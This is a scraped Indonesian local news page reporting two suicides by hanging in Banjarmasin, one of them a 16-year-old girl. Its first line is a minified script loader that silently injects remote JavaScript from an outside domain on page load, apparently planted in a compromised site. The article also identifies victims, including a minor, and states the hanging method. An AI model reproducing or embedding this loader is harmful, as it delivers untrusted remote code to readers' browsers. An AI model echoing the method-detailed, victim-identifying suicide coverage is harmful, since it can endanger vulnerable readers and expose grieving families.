(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Warga Zamrud 6 No 4 RT 56 Kelurahan Sungai Andai, Kecamatan Banjarmasin Utara, dihebohkan terjadinya kasus gantung diri, Minggu (8/7) siang. Warga menuju rumah milik Zairin Twomay menyusul telah ditemukannya warga bunuh diri.
Korban yang diketahui bernama Jainap (32), merupakan istri dari Zairin. Paska dievakuasi, korban pun lantas dibawa ke RSUD Ulin Banjarmasin. “Ya, jenazah sudah dibawa ke kamar pemulasaraan RSUD Ulin Banjarmasin,” ujar seorang warga.
Babinsa Sungai Andai, Pelda Yanuar HM menjelaskan ia sendiri semula sempat terkejut setelah mendapatkan laporan warganya bunuh diri. Bersama anggota Bhabinkamtibmas dan ketua RT setempat, mereka pun langsung menuju tempat kejadian. “Di tempat kejadian, warga sudah meluruk memadati lokasi. Nah, menghindari hal yang tidak diinginkan, saya selaku aparat langsung menetralisir lokasi,” katanya.
Yanuar menyebutkan, korban saat mengakhiri hidupnya menggunakan tali tambang atau jemuran. Ia kemudian diduga mengikat dan menggantungkan lehernya, hingga akhirnya meregang nyawa di tempat kejadian. “Sebetulnya yang tahu pertama itu anaknya korban. Ia yang kemudian melaporkan kejadian ke Ketua RT, Ketua RT selanjutnya menelepon saya untuk mengajak ke tempat kejadian. Dan setelah kami di lokasi, ternyata korban sudah meninggal dunia,” kisahnya.
Sebelumnya, kasus bunuh diri juga dilakukan gadis berusia 16 tahun, Sabtu (30/6) pukul 16.30 Wita. Sebelum melakukan aksi yang dilarang agama tersebut, korban sempat menulis surat ditujukan kepada orangtua maupun sahabatnya. NH, gadis yang tinggal di Jl Tanjung harapan, Landasan Ulin Selatan ini, memilih jalan keliru untuk menyelesaikan problem hidupnya pada seutas tali. Perbuatan tersebut pertama kali ditemukan oleh kakaknya Salman.
Ketika itu, Salman sedang berada di dalam kamarnya. Karena merasa haus, ia pun menuju dapur untuk mengambil air minum. Betapa terkejutnya dia, setelah sampai di dapur melihat sang adik sudah dalam kondisi tergantung di salah satu tiang menggunakan tali bangunan. “Saya sangat terkejut, tak menyangka kalau dia (korban) melakukan hal seperti ini,†ujarnya.
Dengan cepat, Salman langsung berusaha menurunkan adiknya dan kemudian merebahkan di lantai. Dia masih berharap, NH masih hidup. Namun sayang, adiknya sudah tidak bernyawa lagi. Akhirnya, Salman pun meminta tolong tetangga sekitar untuk membantu mengurus adiknya. Dan selang 15 menit kemudian, datang ambulans dari Emergency Landu membawa LH ke RSUD Idaman untuk dilakukan visum.(ammar)
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.